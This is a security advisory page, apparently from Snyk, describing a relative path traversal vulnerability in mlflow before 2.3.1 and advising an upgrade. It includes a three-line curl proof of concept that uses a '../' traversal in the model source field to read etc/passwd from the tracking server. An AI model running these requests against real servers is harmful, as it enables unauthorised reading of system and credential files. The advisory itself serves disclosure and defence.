Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learningUpgrade mlflow
to version 2.3.1 or higher.
mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.
Affected versions of this package are vulnerable to Relative Path Traversal such that by creating a model version through the REST API endpoint api/2.0/mlflow/registered-models/create
and specifying a relative path redirection to the source argument, local server files can be accessed on the tracking server when a subsequent REST API v1.1 call is made to model-versions/get-artifact
.
curl -X POST http://mlflowserver:5000/api/2.0/mlflow/registered-models/create -H "Content-type: application/json" -d '{"name": "AModel"}'
curl -X POST http://mlflowserver:5000/api/2.0/mlflow/model-versions/create -H "Content-type: application/json" -d '{"name": "AModel", "source": file://hostname/../../../../../../../}'
curl http://mlflowserver:5000/model-versions/get-artifact?path=etc/passwd&name=TestModel&version=1